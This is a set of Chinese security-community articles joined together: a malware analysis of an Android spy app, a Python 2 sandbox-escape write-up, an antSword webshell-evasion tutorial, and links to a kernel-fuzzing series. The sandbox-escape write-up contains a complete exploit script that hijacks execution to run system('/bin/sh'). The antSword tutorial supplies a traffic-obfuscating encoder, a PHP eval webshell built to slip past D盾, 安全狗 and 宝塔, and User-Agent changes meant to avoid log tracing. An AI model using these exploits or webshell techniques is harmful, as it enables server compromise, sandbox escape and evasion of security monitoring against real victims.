A5 | 上传指定类型的短信的短信号码、通信人名称（通讯录中）、日期、内容等 | A42 | 设置音频音量(音乐)等
A6 | 上传通讯录信息等 | A43 | 设置音频音量(通知)等
A7 | 上传扫描到的wifi列表信息等 | A44 | 设置系统声音音量等
A8 | 上传运行的进程信息等 | A45 | 访问指定网页等
A9 | 上传壁纸信息等 | A46 | webview加载指定url等
A10 | 将指定路径文件写到指定位置，并删除原文件等 | A47 | 设置闪光灯模式，开启拍照预览等
A11 | 上传电话录音路径和对应的通话号码等 | A48 | 设置闪光灯模式，关闭拍照预览等
A12 | 如果当前应用有通知权限则上传odNotice.txt文件内容，如果没有通知权限则跳转到通知权限设置界面等 | A49 |
设置手机震动指定时间长等
A13 | 上传屏幕亮度设置、锁屏设置、音量设置、响铃模式、联网信息等 | A50 | 插入联系人到通讯录等
A14 | 启动指定Activity等 | A51 | 在odNotice.txt中写入空值等
A15 | 卸载指定应用 | A52 | 关闭指定组件的后台进程等
A16 | 删除通讯录中指定联系人等 | A53 | 在指定文件中写入指定内容等
A17 | 返回到Home界面 | A54 | 对指定文件重命名等
A18 | 打开拨号界面 | A55 | 操作Tel.txt，控制电话录音等
A19 | 拨打指定电话号码等 | A56 | 发送短信等
A20 | 上传剪贴板内容等 | A57 | 删除指定电话号码的通话记录等
A21 | 设置剪贴板中内容等 | A58 | 屏幕亮度相关设置等
A22 | 上传账户信息等 | A59 | 上传手机是否root、执行截屏、录屏、安装指定应用等
A23 | 上传浏览器书签等 | A60 | 上传指定文件的字节流编码后内容等
A24 | 下载指定文件到指定位置等 | A61 | 判断指定文件夹是否存在，不存在则新建等
A25 | 上传指定文件夹下文件列表等 | A62 | 判断指定文件是否存在，不存在则新建等
A26 | 打开指定类型的指定文件等 | A63 | 退出程序等
A27 | 删除指定文件等 | A64 | 卸载当前应用等
A28 | 上传指定文件内容等 | A65 | 拍照并上传等
A29 | 录音，保存到指定位置等 | A66 | 将指定文件写入指定位置等
A30 | 停止录音，上传录音文件并删除原文件等 | A67 | 无
A31 | 设置指定内容的Toast通知等 | A68 | 播放指定多媒体文件等
A32 | 设置屏幕休眠时间 | A69 | 设置指定壁纸等
A33 | 上传应用(服务)列表名称和包名等 | A70 | 将指定内容解码后写入指定文件等
A34 | 将指定内容写入rep_host.txt（新服务器地址）等 | A71 | 上传锁屏或未锁屏、亮屏或黑屏等
A35 | 设置启用wifi等 | A72 | 启动录音并上传等
A36 | 设置禁用wifi等 | A73
停止录音等
### 部分代码截图
该恶意软件会上传用户详细的设备信息。如设备ID、SIM卡序列号、手机号码、厂商、型号等信息。
图2-4获取详细设备信息
获取用户通话记录列表中联系人电话、来电类型、日期、持续时间等信息。
图2-5获取用户通话记录
注册广播监听用户短信信息，一旦监听到用户手机接收短信，获取短信内容并上传至服务端。
图2-6监听用户短信
获取应用进程信息:如进程优先级、nice值、调度策略、前台运行还是后台运行、耗费的CPU时间、耗费的用户时间和系统时间。
图2-7获取设备进程信息
获取剪切板内容或替换剪切板内容。当用户需要输入账号密码如比特币地址时由于地址值较长一般用户无法记住而采用复制粘贴的方式，这样就可以盗取用户账号密码信息。
图2-8获取剪切板内容
执行cmd命令执行截屏、录屏操作。截屏也是窃取用户账号密码的另一种方式。录屏可以监视用户的每一个操作。
图2-9执行截屏、录屏操作
由于该应用需连接同一局域网才能连接服务器执行恶意行为。所以该应用可用于以下场景：
1. 公共场所，比如疫情期间车站乘车时,下载某应用就能免费上网（恶意wifi）；
2. 熟人之间，连接同一个wifi，安装该软件可用于监控和操纵对方手机；
处理建议：
1. 对用户来说，应该避免连接不能确认安全性的wifi网络，以免中招；
2. 应该通过正规应用商店下载需要使用的应用程序；
3. 当已经安装该程序后，应及时卸载，用户可通过在设置->应用目录下找到该应用进入到应用详细页面进行卸载。 | 社区文章 |
# 【技术分享】Python沙箱？不存在的
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[anciety](http://bobao.360.cn/member/contribute?uid=2806750221)
预估稿费：600RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
1\. TCTF 2017 final Python
之前在TCTF的线下赛上碰到了Python的一道沙箱逃逸题目，虽然最后由于主办方题目上的一些疏漏导致了非预期解法的产生，但是本身真的是不错的沙箱逃逸案例，如果是按照预期解法，可以说以后别的沙箱逃逸题如果不改Python的源码感觉已经没啥可出的必要了。
题目的话，不用担心没有题目，你就想成一个除了sys模块，连file
object都用不了的Python2就行了，其实用真的Python2然后自己不用这些就可以模拟这道题目啦。
Python的沙箱逃逸在之前的CTF就有出现过，不过大多是利用Python作为脚本语言的特性来逃逸，相当于换其他方式达到相同目的，比如没了file，通过别的方式拿到file，这次的题目其实也是可以这样搞的，因为stdin等等对象是file对象，可以用来拿到file对象，这样就可以做到在服务器上进行任意读写，之后比如可以写/proc/self/mem或者编译一个c写的python
module然后写到/tmp里之后考虑去import，这些其实都是非预期解法，预期解法就相当有意思了，用的方法是通过Python的字节码来获取，这里我们也就需要重点讲这个方面的内容了。
2\. Python沙箱？不存在的
作为前言的一小部分，我还想提一个问题，python，到底有没有沙箱？
其实这跟我看过的一个presentation，演讲者问台下，chroot到底是不是安全机制，是一个道理。python我个人认为，没有沙箱这一说。我估计我这么说应该好多人不同意，但是事实就是python在设计的时候根本没有考虑这方面的因素，原因？一会我们看看代码就知道了。
**调试环境**
• os: manjaro linux 17.01
• python: python2.7.13
debug版本(自己编译的)，更改了两个可能在debug下出错的地方，主要是ceval.c:825，改为release版本的写法，还有924行，这一段的define都改为没有LLTRACE的写法。
**Python虚拟机原理**
1.对象
Python的虚拟机的源码有一个很典型的特点，那就是一切皆对象。虽然代码是用C写的，但是面向对象的思路倒是用的非常细致，我们首先来看几个典型的对象：
PyObject：<https://github.com/python/cpython/blob/2.7/Include/object.h>
首先总结以下Python object的基本特点：
1)除了Type Object（一会提到），其他object一律分配在堆上；
2)object都有引用计数来确保垃圾回收功能的正常；
3)Object有一个type，创建时候一个object的type就固定了，type自己也是object，这就是Type Object；
4)Object的内存和地址保持不变，如果是变量的，通过指向变量内存的指针实现；
5)Object的类型是PyObject *。
实现：
/* 堆对象的双向链表作为pyobject的结构体开始部分 */
#define _PyObject_HEAD_EXTRA
struct _object *_ob_next;
struct _object *_ob_prev;
/* 真正的pyobject结构开始部分 */
#define PyObject_HEAD
_PyObject_HEAD_EXTRA
Py_ssize_t ob_refcnt;
struct _typeobject *ob_type;
/* 带有变大小容器的object的头部（结构体开始部分） */
#define PyObject_VAR_HEAD
PyObject_HEAD
Py_ssize_t ob_size; /* 可变部分个体的数量 */
/* object */
typedef struct _object {
PyObject_HEAD
} PyObject;
/* 带有变大小容器（带有大小可变指针的对象 */
typedef struct {
PyObject_VAR_HEAD
} PyVarObject;
/* 每一个Python对象的结构体开始部分(模拟了面向对象的继承) */
#define PyObject_HEAD PyObject ob_base;
/* 变量对象，同理 */
#define PyObject_VAR_HEAD PyVarObject ob_base;
这部分主要是PyObject的定义和PyVarObject的定义，是Python中对象的内部表示。
至于Type Object由于代码较长，我认为对理解运行原理帮助也不大，就不截下来了，最主要的就是需要理解用来表示一个Python对象的类型的也是一个对象。
至于用来检查对象类型的方法：
#define Py_TYPE(ob) (((PyObject*)(ob))->ob_type)
可以看出，检查方法也就是通过ob，也就是在PyObject_HEAD里的信息来检查。
2.code对象
通过之前的讨论，我们知道了Python对对象的表示方式，只要在结构体里最开始部分写 PyObject_HEAD 或者 PyObject_VAR_HEAD
就可以是一个PyObject或者PyVarObject对象了。那么Python代码是怎么表示的呢？
答案就是——code对象：https://github.com/python/cpython/blob/2.7/Include/code.h
/* 字节码对象 */
/* Bytecode object */
typedef struct {
PyObject_HEAD
int co_argcount; /* 除了*args以外的参数 */
int co_nlocals; /* 局部变量 */
int co_stacksize;
int co_flags;
PyObject *co_code; /* 字节码 */
PyObject *co_consts;
PyObject *co_names;
PyObject *co_varnames;
PyObject *co_freevars;
PyObject *co_cellvars;
PyObject *co_filename;
PyObject *co_name;
int co_firstlineno;
PyObject *co_lnotab;
void *co_zombieframe;
PyObject *co_weakreflist;
} PyCodeObject;
/* 检查一个对象是不是code对象 */
#define PyCode_Check(op) (Py_TYPE(op) == &PyCode_Type)
/* 创建一个PyCode的接口，和后文CodeType创建PyCode一致 */
PyAPI_FUNC(PyCodeObject *) PyCode_New(
int, int, int, int, PyObject *, PyObject *, PyObject *, PyObject *,PyObject *, PyObject *, PyObject *, PyObject *, int, PyObject *);
这里的代码不是太有意思我就不解释了，从这里我们可以知道两点：
1)一个PyCode对象包含了一段代码对于Python来说所需要的所有信息，其中比较重要的是字节码；
2)检查一个PyCode对象的类型是通过检查HEAD部分的内容的，HEAD的内容是在创建PyCode的时候指定的，根据之前对象的原则，创建之后就不再改变了。
3.运行原理
运行有关代码：<https://github.com/python/cpython/blob/2.7/Python/ceval.c>
其中用来运行的代码_PyEval_EvalFrameDefault，
从第1199行的switch(opcode)即是运行的主要部分，通过不同的opcode进行不同的操作。
其实整个Python的运行过程就是首先通过compile构建一个PyCodeObject，得到代码的字节码，之后根据不同的字节码进行不同的操作，过程还是比较简单的。
由于Python是基于栈的，所以会看到一系列操作stack的函数，其实就理解成一个栈结构，这个栈结构里存的是一系列对象就可以了。
**搞事情**
1.运行任意字节码
好了，原理讲的差不多了，大家应该都明白Python大致的运行机制了，那么我们就结合这个机制来思考一下。
Python的运行是首先compile得到PyCodeObject对吧，那么，PyCodeObject里边的字节码决定了执行什么样的字节码对吧，如果，我能够控制这个字节码，是不是就可以执行我想要的字节码了？
答案是，对的。而且Python并不限制你这么做，毕竟动态语言嘛，你想干嘛也拦不住你。想要操作这个字节码也很简单，types就可以，我们现在来试试。
# 接口
# types.CodeType(argcount, nlocals, stacksize, flags, codestring, constants, names,
# varnames, filename, name, firstlineno, lnotab[, freevars[,cellvars]])
from opcode import opmap
import types
def code_object():
pass
code_object.func_code = types.CodeType(
0, 0, 0, 0,
chr(opmap['LOAD_CONST']) + 'xefxbe',
(), (), (),
"", "", 0, ""
)
code_object()
这里最重要的就是codestring，是字节码的字符串表示，其他的都不是太重要(注意不要直接复制我这一段代码运行，UTF-8的问题，加个UTF-8或者删掉中文可以运行)，然后我们运行试试。
[anciety@anciety-pc temp]$ python2 testpython.py
Segmentation fault (core dumped)
seg fault了，不出所料，原因？
我们来调试一下。这里我自己下源码编译了一个有debug符号和源码的Python2.7方便调试。
TARGET(LOAD_CONST) {
PyObject *value = GETITEM(consts, oparg);
Py_INCREF(value);
PUSH(value);
FAST_DISPATCH();
}
这是解析LOAD_CONST字节码的内容，可以看到首先通过GETITEM得到code
object中consts和oparg的参数的内容，之后处理引用计数，然后PUSH了相应的值！
GETITEM是从一个tuple中去取出值，我们看看segfault的地方：
1227 TARGET(LOAD_CONST)
1228 {
1229 x = GETITEM(consts, oparg);
→ 1230 Py_INCREF(x);
1231 PUSH(x);
1232 FAST_DISPATCH();
1233 }
1234
gef➤ print oparg
$4 = 0xbeef
0xbeef就是我们输入的值，也就是说我们控制了GETITEM的参数。这里就说明了一个很大的问题：我们是可以控制运行的字节码的。最后segfault的原因嘛，这个值取不了，有问题，于是就segfault了。
其实到这，针对Python沙箱的论述也差不多了，毕竟我们已经可以控制运行的字节码，但是毕竟我们最终的目的是拿到shell对吧，那么接下来怎么做？
2.从运行任意字节码到任意代码执行
1)基本思路
好了，我们可以执行任意字节码了，不过还不够。如何执行任意代码？我们需要一个函数指针，反正啥都可以改，我们改掉这个函数指针就可以了。我们也十分幸运，恰巧就有这么一个神奇的函数指针：
<https://github.com/python/cpython/blob/5eb788bf7f54a8e04429e18fc332db858edd64b6/Objects/call.c>
PyObject *
PyObject_Call(PyObject *callable, PyObject *args, PyObject *kwargs)
{
ternaryfunc call;
PyObject *result;
/* PyObject_Call() must not be called with an exception
set, because it can clear it (directly or indirectly)
and so the caller loses its exception */
assert(!PyErr_Occurred());
assert(PyTuple_Check(args));
assert(kwargs == NULL || PyDict_Check(kwargs));
if (PyFunction_Check(callable)) {
return _PyFunction_FastCallDict(callable,
&PyTuple_GET_ITEM(args, 0),
PyTuple_GET_SIZE(args),
kwargs);
}
else if (PyCFunction_Check(callable)) {
return PyCFunction_Call(callable, args, kwargs);
}
else {
call = callable->ob_type->tp_call;
if (call == NULL) {
PyErr_Format(PyExc_TypeError, "'%.200s' object is not callable",
callable->ob_type->tp_name);
return NULL;
}
if (Py_EnterRecursiveCall(" while calling a Python object"))
return NULL;
result = (*call)(callable, args, kwargs); /* 快看！一个漂亮大方的函数指针！ */
Py_LeaveRecursiveCall();
return _Py_CheckFunctionResult(callable, result, NULL);
}
}
好了函数指针有了，现在总结一下调用到函数指针的整个流程：
ceval.c：<https://github.com/python/cpython/blob/2.7/Python/ceval.c>
TARGET(CALL_FUNCTION)
{
PyObject **sp;
PCALL(PCALL_ALL);
sp = stack_pointer;
x = call_function(&sp, oparg); /* 这里进call_function */
static PyObject *
call_function(PyObject ***pp_stack, int oparg)
{
int na = oparg & 0xff;
int nk = (oparg>>8) & 0xff;
int n = na + 2 * nk;
PyObject **pfunc = (*pp_stack) - n - 1;
PyObject *func = *pfunc;
PyObject *x, *w;
if (PyCFunction_Check(func) && nk == 0) {
[...]
} else {
if (PyMethod_Check(func) && PyMethod_GET_SELF(func) != NULL) {
[...]
} else
Py_INCREF(func);
if (PyFunction_Check(func))
// don't care
else
x = do_call(func, pp_stack, na, nk); /* 这里进do_call */
}
[...]
}
static PyObject *
do_call(PyObject *func, PyObject ***pp_stack, int na, int nk)
{
if (nk > 0) {
[...]
if (kwdict == NULL)
goto call_fail;
}
callargs = load_args(pp_stack, na);
if (callargs == NULL)
goto call_fail;
if (PyCFunction_Check(func)) {
[...]
}
else
result = PyObject_Call(func, callargs, kwdict); /* 找到地方了 */
call_fail:
[...]
}
总结一下需要调用到函数指针的过程：
i.字节码类型是CALL_FUNCTION，进入call_function；
ii.call_function中，PyCFunction_Check或者nk==0不成立，之后PyMethod_Check或者PyMethod_GET_SELF(func)
!= NULL不成立，然后PyFunction_Check不成立，进入do_call；
iii.do_call中PyCFunction_Check不成立，进入PyOBject_Call；
iv.PyObject_call中，func的ob_type的tp_call就是我们要调用的函数指针。
看代码有点烦，通俗地讲：
i.字节码是CALL_FUNCTION；
ii.不是function类型也不是method类型，不过是object类型；
iii.这个object类型的type object里的tp_call就是调用的函数指针。
这么看就简单多了，type object虽然是一开始静态分配的，但是反正又不检查，不是静态分配又如何？伪造一个嘛。
2)最终思路
i.构造一个object，构造为type object的形式，不过tp_call指向想要执行的位置；
ii.构造第二个object，使得type指向第一个object；
iii.构造第三个object，指针指向第二个object；
iv.构造字节码：1.通过extended_arg构造offset参数，offset为consts和第三个object的偏移，2.通过load_const指令，由于按照consts是tuple，会再解一次引用，于是使得第二个object被push进栈，3.通过call_function，进入调用过程；
v.将字节码设置进入某个function的func_code；
vi.执行这个function，即执行我们构造好的func_code。
3)poc.py
import types
from opcode import opmap
import struct
def p16(content):
return struct.pack("<H", content)
def p32(content):
return struct.pack("<I", content)
def p64(content):
return struct.pack("<Q", content)
def somefunction():
pass
def get_opcode(opname):
return chr(opmap[opname])
consts = ("12345", )
fake_type_object = 'a' * (0x5610 - 0x55b4) + p64(0xdeadbeef)
ptr_fake_type = id(fake_type_object)
ptr = ptr_fake_type
# _ob_next _ob_prev ref cntt ob_type
fake_object= 'a' * 4 + p64(ptr) + p64(ptr) + p64(1) + p64(ptr)
# points to
to_load = 'aaaa' + p64(id(fake_object) + (0x310 - 0x2e0) + 8)
ptr_fake_object = id(to_load) + (0x310 - 0x2e0)
ptr_consts = id(consts) + 32
offset = ((ptr_fake_object - ptr_consts) // 8) & 0xffffffff
def get_code(code_byte_str, code_consts):
somefunction.func_code = types.CodeType(
0, 0, 0, 0,
code_byte_str,
code_consts, (), (),
"", "", 0, ""
)
return somefunction
extended_arg = get_opcode('EXTENDED_ARG')
load_const = get_opcode('LOAD_CONST')
call_function = get_opcode('CALL_FUNCTION')
load_fast = get_opcode('LOAD_FAST')
code = get_code(
extended_arg +
p16(offset >> 16) +
load_const +
p16(offset & 0xffff) +
call_function +
p16(0),
consts
)
#raw_input()
code()
这个poc稍微显得有点乱，但是基本能够表达清楚思路。主要是有一些偏移量的计算不太好算，所以我采用了动态调试的方法，直接看内存结构，然后相减得到的偏移，看起来虽然乱了，但是却是计算偏移最简单的方法，偏移量其实很多时候不是很好静态计算，可能有一些你没想到的细节，如果动态去调着看的话，就一定是正确的偏移了。
运行这个POC，我们可以使rip指向0xdeadbeef了。
3.从POC到EXP，任意执行到shell
其实到这，剩下的步骤虽然还有一些，但是思路上已经全部清晰了，我们可以执行任意代码，现在需要的是：
i.找到system的地址；
ii.传入参数。
1)任意读
根据之前的讨论，我们知道了我们可以随意更改字节码，执行任意字节码，那么想要构造一个新的object也不是难事。想要读取信息，就需要一个指针，而Python有指针的地方实在是太多了。
我们采取的方法是使用ByteArrayObject，ByteArrayObject代码如下：
typedef struct {
PyObject_VAR_HEAD
/* XXX(nnorwitz): should ob_exports be Py_ssize_t? */
int ob_exports; /* how many buffer exports */
Py_ssize_t ob_alloc; /* How many bytes allocated */
char *ob_bytes; /* 重点！一个可以读的指针 */
} PyByteArrayObject;
所以，想要任意读，伪造一个BYteArrayObject，伪造方法和之前一样，然后直接读就可以了，好了，现在的问题只剩下，读哪儿？
2)system地址
想要找到system的地址，就需要libc地址，libc地址其实还花了我一些时间，不过最终用到一个方法：
sys.stdin的f_fp字段存有_IO_2_1_stdin的地址，这个地址是位于libc
data段的，可以利用这个去拿到libc地址，最终拿到system地址，读取方法就根据上一节的PyByteArrayObject的方法就可以。
3)参数
有了system，可以劫持rip，最后的问题是传入参数。这里就需要注意到之前call的调用方式了：
result = (*call)(callable, args, kwargs); /* func是第一个参数 */
func是一个指针，指向我们构造的“第一个对象”，所以，我们只需要把第一个对象的开始部分设置为"/bin/sh"，由于ob_next并没有用到，所以改为字符串并不会影响其他结果，最后就可以system("/bin/sh")了。
4.exp.py
这个exploit是我自己的环境下的，并且是自己编译的debug版本，执行不正常是可能出现的，因为偏移量不一样，甚至具体代码都有可能有一些不一样，所以仅供参考。最后还是需要自己手动调试才行（特别是各种偏移量）。
import types
import sys
from opcode import opmap
import struct
def p16(content):
return struct.pack("<H", content)
def p32(content):
return struct.pack("<I", content)
def p64(content):
return struct.pack("<Q", content)
def u64(content):
return struct.unpack("<Q", content)
def get_opcode(opname):
return chr(opmap[opname])
def get_code(somefunction, code_byte_str, code_consts):
somefunction.func_code = types.CodeType(
0, 0, 0, 0,
code_byte_str,
code_consts, (), (),
"", "", 0, ""
)
return somefunction
extended_arg = get_opcode('EXTENDED_ARG')
load_const = get_opcode('LOAD_CONST')
call_function = get_opcode('CALL_FUNCTION')
load_fast = get_opcode('LOAD_FAST')
return_value = get_opcode('RETURN_VALUE')
def call(rip):
"""
make the python call addr
"""
consts = ("12345", )
fake_type_object = 'a' * (0x5610 - 0x55b4) + p64(rip)
ptr_fake_type = id(fake_type_object)
ptr = ptr_fake_type
# _ob_next _ob_prev ref cnt ob_type
fake_object= 'a' * 4 + '/bin/sh;'.ljust(8) + p64(ptr) + p64(1) + p64(ptr)
to_load = 'aaaa' + p64(id(fake_object) + (0x310 - 0x2e0) + 8)
ptr_fake_object = id(to_load) + (0x310 - 0x2e0)
ptr_consts = id(consts) + 32
offset = ((ptr_fake_object - ptr_consts) // 8) & 0xffffffff
def somefunction():
pass
code = get_code(
somefunction,
extended_arg +
p16(offset >> 16) +
load_const +
p16(offset & 0xffff) +
call_function +
p16(0),
consts
)
#raw_input()
code()
def pwn(addr):
"""
leak the content of the address and call system('/bin/sh;')
"""
consts = (12345, )
to_be_next = bytearray("111")
next_ptr = id(to_be_next)
bytearray_type_ptr = int(to_be_next.__subclasshook__.__str__().split('at ')[1][:-1], 16)
#print("byte array type:{}".format(hex(bytearray_type_ptr)))
# _ob_next _ob_prev ref cnt ob_type
fake_bytearray = 'a' * 4 + p64(next_ptr) + p64(next_ptr) + p64(1) + p64(bytearray_type_ptr)
# size ob_exports junk ob_alloc ob_bytes
fake_bytearray += p64(0x20) + p32(1) + 'aaaa' + p64(20) + p64(addr)
to_load = 'aaaa' + p64(id(fake_bytearray) + (0x310 - 0x2e0) + 8) + p64(1) + p64(1)
ptr_fake_object = id(to_load) + (0x310 - 0x2e0)
#print("fake byte array:{}".format(hex(ptr_fake_object)))
ptr_consts = id(consts) + 32
offset = ((ptr_fake_object - ptr_consts) // 8) & 0xffffffff
#print("ptr consts:{} offset:{}".format(hex(ptr_consts), hex(offset)))
def someleak():
pass
get_fake_bytearray_function = get_code(
someleak,
extended_arg + p16(offset >> 16) +
load_const + p16(offset & 0xffff) +
return_value,
consts
)
#raw_input()
fake_bytearray_object = get_fake_bytearray_function()
#print("fake byte array object:{}".format(hex(id(fake_bytearray_object))))
_IO_2_1_stdin_addr_list = []
for i in range(8):
_IO_2_1_stdin_addr_list.append(fake_bytearray_object[i])
_IO_2_1_stdin_addr = u64(''.join(map(chr, _IO_2_1_stdin_addr_list)))[0]
#print(_IO_2_1_stdin_addr)
#print("addr:{}".format(hex(_IO_2_1_stdin_addr)))
libc_base = _IO_2_1_stdin_addr - 0x39f8a0
system_addr = libc_base + 0x40db0
call(system_addr)
if __name__ == "__main__":
pwn(id(sys.stdin) + 0x20)
**结论**
1.Python真的没有沙箱，本文提出的方法几乎适合于任何情况的Python沙箱，除非有大更改。毕竟整个过程中用的都是Python必须的东西，原生的东西，没有依赖不必要的。
2.调试过程中尽量动态去算偏移，除非是真的必须要静态来看出原理。静态看偏移经常会出错。
**注意**
1.本文的情况和TCTF
final的情况不完全一样，他的情况还有一些地方需要处理。比如没有id函数可以拿到任意对象的地址，并且开启了PIE。本文中的情况考虑了PIE，但是id函数需要自己处理一下。我目前想到的id的处理方式，是通过一个方法，比如a
= ""; a.ljust.__str__()也是可以达到id函数的效果的，其他类型也可以相应的去找他有的方法来leak出地址。
2.本文的情况都是基于debug版本的，release版本应该会有一些小差别，但是方法是通用的，不过由于时间关系我没有再调试一遍release版本，release版本调试起来也会比较费时间，方法是能用的。 | 社区文章 |
# 从静态到动态打造一款免杀的antSword(蚁剑)
## 0x1 前言
之前在逛一些技术论坛就看到绕waf的权限维持技术,作为一枚菜鸡脚本小子的我看完之后也打算跃跃欲试,于是就有了这篇水文。但是网上都是说菜刀之类的,但是我个人比较喜欢antSword这款开源的软件,然后简单读了下其文档,发现他支持高度自定义,而且可以直接修改代码,简直方便的不要不要的,于是就有了下面这篇简单的文章。
## 0x2 动态免杀
这里我理解的动态免杀比较low,其实就是应用层的流量加密,这样可以绕过一些waf对流量一些关键词的检测,我这个方法其实最大的亮点就是操作比较简单吧,技术含量还是很低级,但目前自我感觉还是有点实用价值。
这里首先要谈下antSword的自定义编码器
打开蚁剑的系统设置就可以看到编码管理选项,这里选择新增一个编码器
这里可以通过代码和注释看出编码器的作用,下面是我修改的编码器结果:
这些代码主要就是javascript node.js基础语法
/**
* php::base64编码器
* Create at: 2019/01/26 23:51:47
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机变量名
let randomID = `${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来之后，转为 base64 编码并放入 randomID key 下
let encry= new Buffer(data['_']).toString('base64');
// shell 在接收到 payload 后，先处理 pwd 参数下的内容，
data[pwd] = `${randomID}`+encry+`${randomID}`;
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
主要就是3行代码:
let randomID = `${Math.random().toString(16).substr(2)}`; //生成13位随机字符串
let encry= new Buffer(data['_']).toString('base64'); //传输数据base64
data[pwd] = `${randomID}`+encry+`${randomID}`; //随机字符串+传输数据base64+随机字符串
随机字符串+传输数据base64+随机字符串这样的结果是干扰一些waf进行模糊解码,这样是不可能被直接解密的。
也许有人说这样固定字符串不够动态,但是你完全可以在设置个参数传入长度进shell里面
比如这样?
module.exports = (pwd, data) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机变量名
let num = Math.floor(Math.random()*15);
let randomStr = `${Math.random().toString(16).substr(num)}`;
// 原有的 payload 在 data['_']中
// 取出来之后，转为 base64 编码并放入 randomID key 下
let encry= new Buffer(data['_']).toString('base64');
data['num'] = 15-num;
// shell 在接收到 payload 后，先处理 pwd 参数下的内容，
data[pwd] = `${randomStr}`+encry+`${randomStr}`;
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
这里设置下AntantSword的代理设置为http,burp监听端口查看下结果
配置好shell,然后连接shell,再查看burp的流量
可以看到http的流量除了是`User-Agent: antSword/v2.0`
这个很明显的特征基本没有敏感关键字,而且num也是随机值,这个编码器基本达到了流量加密的目的,而且post的表单形式,更是对很多waf存在免疫力,所以说效果个人感觉还是挺不错的。
既然服务端已经配置好了,那么就要考虑下客户端也就是webshell的免杀和应用编写了。
## 0x3 静态免杀
由于我目前虚拟机也就只是装了D盾和安全狗还有个宝塔,所以随手测试下写了个免杀这三个waf的一个php一句话(ps 没啥技术含量)
<?php
/* 用户操作类 */
class User
{
public $name = '';
public $config = null;
function __destruct(){
@eval(''.$config."$this->name");
}
}
// 生成用户
$user = new User;
$num = @$_POST['num'];
// 传递用户信息
$c = \base64_decode((substr(@$_POST['a'],$num,-$num)));
$user->name = ''.$c;
?>
我个人感觉只要过了D盾,一般也能过狗吧。
这里谈谈思路:
首先服务端传入的是随机长度字符串+base64传输数据+随机长度字符串
webshell对应的解码就是:
$num = @$_POST['num'];
// 传递用户信息
$c = \base64_decode((substr(@$_POST['a'],$num,-$num)));
关于怎么过D盾,assert过D盾挺简单,但是考虑了下兼容性,我觉得用eval来演示效果更好。
这里参考两篇文章:
[过D盾webshell分享](https://xz.aliyun.com/t/3959)
[404大牛的对于免杀webshell的一些总结](https://www.t00ls.net/viewthread.php?tid=49715&highlight=Webshell)
首先构造个类然后利用一些php的特性比如 eval(''.phpinfo()); 来实现绕过D盾
然后发现D盾还是报二级 base64_decode解码,发现网上文章很多人放弃了base64_decode()(D盾超喜欢)
然后我当时构造了下:
<?php
$a = $_POST['a'];
$c = base64_decode($a);
?>
发现没有报毒,我觉得还是有戏的。
后来我简单想了下利用命名空间来实现了绕过
`\base64_decode()`
然后加点注释,误导一些像我这样的小白。
最后附上一张免杀图的:
## 0x4 处理下UA明显特征
很多人用蚁剑其实都是默认配置就用了,所以默认就带有`User-Agent:
antSword/v2.0`,日志溯源简直是爽YY。不过蚁剑在添加shell的时候也提供了自定义的header头功能,但是用起来我感觉不是很方便,不如直接在代码里面修改了。
这里可以用百度UA:
`Mozilla/5.0 (compatible; Baiduspider-render/2.0;
+http://www.baidu.com/search/spider.html)`
当然你也可以准备多个UA存进数组里,每次随机调用,我个人感觉没太大实用价值,后门还是要做在底层才比较稳。
`antSword-2.0.4/modules/request.js`
中有个`const USER_AGENT = 'antSword/v2.0';`
替换为
`antSword-2.0.4/modules/update.js`
直接替换两处就行了。
下面再次抓包看看结果:
OK,打工告成。
## 0x5 一些思考
1.如果waf是检测到异常流量包的话就丢弃的话,这种方法就没啥用了
2.如果底层hook函数,这种方法也就没啥用了,但是我感觉这种成本很高,一般waf也不会这样做吧。
3.因为是初次探索这个领域,各方面了解的不是很多,希望各位师傅大力指点,传授各种骚姿势。
## 0x6 感想
行文下来,个人感觉操作非常简单,而且还是有点实用,兼容性还是挺满意的,文章可能诸多纰漏,希望各位师傅不要介意。 | 社区文章 |
这是内核漏洞挖掘技术系列的第十二篇。
第一篇：[内核漏洞挖掘技术系列(1)——trinity](https://xz.aliyun.com/t/4760
"内核漏洞挖掘技术系列\(1\)——trinity")
第二篇：[内核漏洞挖掘技术系列(2)——bochspwn](https://xz.aliyun.com/t/4800
"内核漏洞挖掘技术系列\(2\)——bochspwn")
第三篇：[内核漏洞挖掘技术系列(3)——bochspwn-reloaded(1)](https://xz.aliyun.com/t/4921
"内核漏洞挖掘技术系列\(3\)——bochspwn-reloaded\(1\)")
第四篇：[内核漏洞挖掘技术系列(3)——bochspwn-reloaded(2)](https://xz.aliyun.com/t/4932
"内核漏洞挖掘技术系列\(3\)——bochspwn-reloaded\(2\)")
第五篇：[内核漏洞挖掘技术系列(4)——syzkaller(1)](https://xz.aliyun.com/t/5079
"内核漏洞挖掘技术系列\(4\)——syzkaller\(1\)")
第六篇：[内核漏洞挖掘技术系列(4)——syzkaller(2)](https://xz.aliyun.com/t/5098
"内核漏洞挖掘技术系列\(4\)——syzkaller\(2\)")
第七篇：[内核漏洞挖掘技术系列(4)——syzkaller(3)](https://xz.aliyun.com/t/5154
"内核漏洞挖掘技术系列\(4\)——syzkaller\(3\)")
第八篇：[内核漏洞挖掘技术系列(4)——syzkaller(4)](https://xz.aliyun.com/t/5223
"内核漏洞挖掘技术系列\(4\)——syzkaller\(4\)")
第九篇：[内核漏洞挖掘技术系列(4)——syzkaller(5)](https://xz.aliyun.com/t/5401
"内核漏洞挖掘技术系列\(4\)——syzkaller\(5\)")
第十篇：[内核漏洞挖掘技术系列(5)——KernelFuzzer](https://xz.aliyun.com/t/5443
"内核漏洞挖掘技术系列\(5\)——KernelFuzzer")
第十一篇：[内核漏洞挖掘技术系列(6)——使用AFL进行内核漏洞挖掘(1)](https://xz.aliyun.com/t/5521
"内核漏洞挖掘技术系列\(6\)——使用AFL进行内核漏洞挖掘\(1\)")
